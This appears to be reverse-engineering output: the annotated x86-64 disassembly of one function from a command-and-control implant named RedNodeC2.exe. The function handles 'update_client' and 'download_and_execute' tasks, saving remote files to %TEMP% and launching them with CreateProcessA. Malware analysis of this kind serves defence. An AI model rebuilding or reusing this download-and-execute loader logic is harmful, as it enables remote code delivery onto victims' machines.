Function at 0x140002434
Capabilities:
Create process on windows
Query environment variable
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0xa58]
sub rsp, 0xb40
mov r12, rdx
mov rsi, rcx
lea rdx, str.task_name
call fcn.140001098
lea rdx, [0x1400053c8]
mov rcx, rsi
mov rdi, rax
call fcn.140001098
cmp dword [rdi + 8], 5
mov r14, rax
je 0x140002493
lea rcx, str.Faild:_n
jmp 0x14000278e
mov rcx, qword [rdi + 0x18]
lea rdx, str.update_client
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140002640
lea rdx, str.update_url
mov rcx, rsi
call fcn.140001098
lea rdx, str.file_name
mov rcx, rsi
mov r15, rax
call fcn.140001098
cmp dword [r14 + 8], 5
lea rbx, [0x140005278]
mov rcx, rbx
mov rsi, rax
jne 0x1400024e5
mov rcx, qword [r14 + 0x18]
mov rdx, r12
call fcn.1400028dc
cmp dword [rsi + 8], 5
mov r14, rbx
jne 0x1400024fa
mov r14, qword [rsi + 0x18]
cmp dword [r15 + 8], 5
mov rsi, rbx
jne 0x140002508
mov rsi, qword [r15 + 0x18]
mov r8d, 0x104
lea rdx, [rsp + 0x70]
lea rcx, str.temp
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x140002769
lea rdx, [0x140005480]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x70]
mov rcx, rsi
call fcn.1400027b4
cmp eax, 1
jne 0x140002769
lea rcx, str.Downloaded_Success_n
call sym.RedNodeC2.exe_OutputDebugStringA
mov r8d, 0x104
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, str._selfupdate__
lea rcx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x1400054b0]
lea rcx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, 0x68
lea rax, [rbp + 0x80]
mov edx, ecx
mov byte [rax], 0
inc rax
sub rdx, 1
jne 0x1400025db
lea rax, [rsp + 0x50]
mov dword [rbp + 0x80], ecx
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp + 0x80]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
and qword [rsp + 0x38], rdx
and qword [rsp + 0x30], rdx
and dword [rsp + 0x28], edx
and dword [rsp + 0x20], edx
lea rdx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140002769
cmp dword [rdi + 8], 5
lea rbx, [0x140005278]
mov rcx, rbx
jne 0x140002654
mov rcx, qword [rdi + 0x18]
lea rdx, str.download_and_execute
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140002769
lea rdx, str.file_url
mov rcx, rsi
call fcn.140001098
lea rdx, str.file_name
mov rcx, rsi
mov r15, rax
call fcn.140001098
cmp dword [r14 + 8], 5
mov rsi, rax
mov rcx, rbx
jne 0x14000269b
mov rcx, qword [r14 + 0x18]
mov rdx, r12
call fcn.1400028dc
cmp dword [rsi + 8], 5
mov r14, rbx
jne 0x1400026b0
mov r14, qword [rsi + 0x18]
cmp dword [r15 + 8], 5
mov rsi, rbx
jne 0x1400026be
mov rsi, qword [r15 + 0x18]
mov r8d, 0x104
lea rdx, [rsp + 0x70]
lea rcx, str.temp
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x140002769
lea rdx, [0x140005480]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x70]
mov rcx, rsi
call fcn.1400027b4
cmp eax, 1
jne 0x140002769
mov ecx, 0x68
lea rax, [rbp + 0xf0]
mov edx, ecx
mov byte [rax], 0
inc rax
sub rdx, 1
jne 0x14000271e
lea rax, [rsp + 0x50]
mov dword [rbp + 0xf0], ecx
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x70]
lea rax, [rbp + 0xf0]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
and qword [rsp + 0x38], rdx
and qword [rsp + 0x30], rdx
and dword [rsp + 0x28], edx
and dword [rsp + 0x20], edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea rcx, str.task_name:
call sym.RedNodeC2.exe_OutputDebugStringA
cmp dword [rdi + 8], 5
jne 0x14000277f
mov rbx, qword [rdi + 0x18]
mov rcx, rbx
call sym.RedNodeC2.exe_OutputDebugStringA
lea rcx, [0x14000539c]
lea r11, [rsp + 0xb40]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
jmp sym.RedNodeC2.exe_OutputDebugStringA